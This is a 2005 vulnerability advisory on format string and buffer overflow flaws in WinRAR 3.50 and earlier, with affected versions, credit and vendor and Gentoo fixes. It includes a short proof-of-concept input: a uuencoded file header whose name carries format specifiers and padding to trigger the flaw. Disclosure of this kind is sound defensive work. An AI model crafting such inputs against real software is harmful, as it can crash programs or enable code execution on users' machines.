BID:15062

RARLAB WinRAR Multiple Remote Vulnerabilities

Info

RARLAB WinRAR Multiple Remote Vulnerabilities

Bugtraq ID:	15062
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Oct 11 2005 12:00AM
Updated:	Oct 11 2005 12:00AM
Credit:	Discovery is credited to Tan Chew Keong, Secunia Research.
Vulnerable:	RARLAB WinRar 3.50 RARLAB WinRar 3.42 RARLAB WinRar 3.41 RARLAB WinRar 3.40 RARLAB WinRar 3.20 RARLAB WinRar 3.11 RARLAB WinRar 3.10 beta 5 RARLAB WinRar 3.10 beta 3 RARLAB WinRar 3.10 beta 3 RARLAB WinRar 3.10 RARLAB WinRar 3.0 .0 RARLAB WinRar 3.0 RARLAB WinRar 2.90 Gentoo Linux

Not Vulnerable:	RARLAB WinRar 3.51

Discussion

RARLAB WinRAR Multiple Remote Vulnerabilities

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues.

Exploit / POC

RARLAB WinRAR Multiple Remote Vulnerabilities

The following proof of concept is available for the format string vulnerability:
begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end

Currently we are not aware of any exploits for these issues. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Solution / Fix

RARLAB WinRAR Multiple Remote Vulnerabilities

Solution:
The vendor has released WinRAR 3.51 to address these issues.

Gentoo has released advisory GLSA 200511-10 to address these issues. To obtain fixes, execute the following commands:

emerge --sync
emerge --ask --oneshot --verbose ">=app-arch/rar-3.5.1"

RARLAB WinRar 2.90